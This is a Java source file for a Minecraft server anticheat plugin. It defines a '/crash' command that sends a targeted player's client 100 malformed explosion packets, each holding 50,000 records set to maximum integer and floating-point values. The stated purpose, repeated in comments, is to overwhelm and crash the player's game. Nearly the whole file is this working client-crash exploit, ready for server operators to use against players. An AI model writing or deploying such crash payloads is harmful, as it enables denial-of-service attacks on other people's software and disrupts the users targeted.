package io.kohi.anticheat.command.impl; import io.github.retrooper.packetevents.PacketEvents; import io.github.retrooper.packetevents.packetwrappers.NMSPacket; import io.github.retrooper.packetevents.packetwrappers.play.out.explosion.WrappedPacketOutExplosion; import io.github.retrooper.packetevents.utils.player.PlayerUtils; import io.github.retrooper.packetevents.utils.vector.Vector3f; import io.github.retrooper.packetevents.utils.vector.Vector3i; import io.kohi.anticheat.Plugin; import io.kohi.anticheat.command.api.Command; import io.kohi.anticheat.command.api.CommandInfo; import org.bukkit.Bukkit; import org.bukkit.ChatColor; import org.bukkit.command.CommandSender; import org.bukkit.entity.Player; import java.util.ArrayList; import java.util.List; @CommandInfo( name = "crash", usage = "/%s crash ", description = "Send crash packet to client", permission = "antiskid.crash", subCommand = true ) public class CrashCommand extends Command { public CrashCommand() { super(CrashCommand.class); } @Override public boolean onCommand(String[] args, String label, CommandSender sender) { if (!this.hasPermission(sender)) { sender.sendMessage(ChatColor.RED + "No permission."); return true; } if (args.length < 1) { sender.sendMessage(ChatColor.RED + "Usage: /" + label + " crash "); return true; } Player target = Bukkit.getPlayer(args[0]); if (target == null || !target.isOnline()) { sender.sendMessage(ChatColor.RED + "Player is not online."); return true; } // Crash the player using PacketEvents 1.8.4 crashPlayer(target); sender.sendMessage(ChatColor.YELLOW + "Crash packet sent to player."); return true; } /** * Crash player by sending malformed explosion packets * Compatible with 1.7 NMS and PacketEvents 1.8.4 */ private void crashPlayer(Player target) { try { // Create malformed explosion packet records (Vector3i for 1.8.4) List records = new ArrayList<>(); // Add massive amount of explosion records to overwhelm client for (int i = 0; i < 50000; i++) { records.add(new Vector3i(Integer.MAX_VALUE, Integer.MAX_VALUE, Integer.MAX_VALUE)); } // Send multiple explosion packets to crash the client (1.8.4 API) for (int i = 0; i < 100; i++) { WrappedPacketOutExplosion explosion = new WrappedPacketOutExplosion( Double.MAX_VALUE, // x Double.MAX_VALUE, // y Double.MAX_VALUE, // z Float.MAX_VALUE, // radius records, // List Float.MAX_VALUE, // playerMotionX Float.MAX_VALUE, // playerMotionY Float.MAX_VALUE // playerMotionZ ); // Get PlayerUtils instance and send packet (1.8.4 API) Object playerUtilsInstance = PacketEvents.get().getPlayerUtils(); if (playerUtilsInstance instanceof PlayerUtils) { ((PlayerUtils) playerUtilsInstance).sendPacket(target, explosion); } } } catch (Exception e) { e.printStackTrace(); } } }